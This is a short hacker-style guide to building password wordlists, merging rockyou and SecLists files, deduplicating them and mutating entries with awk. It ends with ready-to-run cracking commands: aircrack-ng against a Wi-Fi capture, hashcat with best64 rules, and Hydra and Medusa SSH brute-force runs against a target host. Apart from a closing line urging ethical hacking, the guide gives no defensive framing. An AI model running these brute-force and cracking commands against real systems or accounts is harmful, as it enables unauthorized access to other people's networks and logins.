> Password List Creation & Usage Guide

> 🧠 Why Custom Wordlists Matter

Everyone uses rockyou.txt. To up your game in cracking, audits, or testing, create stronger, smarter, and personalized lists.

> 📦 Collect Your Raw Lists

• SecLists
• Probable Wordlists
• /usr/share/wordlists (default system lists)

> 🧪 Combine Wordlists

cat rockyou.txt probable.txt other.txt > combined.txt

> 🚿 Remove Duplicates

sort -u combined.txt > rockyouelite.txt

This removes duplicates for a clean base list.

> 🔧 Mutate for Bruteforce Power

awk '{print $0"\n"$0"!"\n"$0"$"\n"$0"1"\n"$0"1!"\n"$0"1$"}' rockyouelite.txt > rockyoumega.txt

> 🔠 Add Case Variations

awk '{print $0; print toupper($0)}' rockyouelite.txt > uppermix.txt

> 🛠 Recommended Tools

• CeWL: crawl URLs for words
• Crunch: generate lists by pattern
• John the Ripper: powerful mangling
• Hashcat: GPU cracking with rules

> ⚔️ Use With Popular Crackers

aircrack-ng -w rockyouelite.txt -b [BSSID] capture.cap

hashcat -a 0 -m 0 hashes.txt rockyouelite.txt -r rules/best64.rule

> 💀 Bonus: SSH Bruteforce

Hydra

hydra -L users.txt -P rockyoumega.txt ssh://target-ip

Medusa

medusa -U users.txt -P rockyoumega.txt -M ssh -h target-ip

> ☠️ Final Thoughts

This isn’t just about brute force — it’s about understanding human habits and weak security. Hack smart, not loud.

Respect privacy. Hack ethically. Stay elite.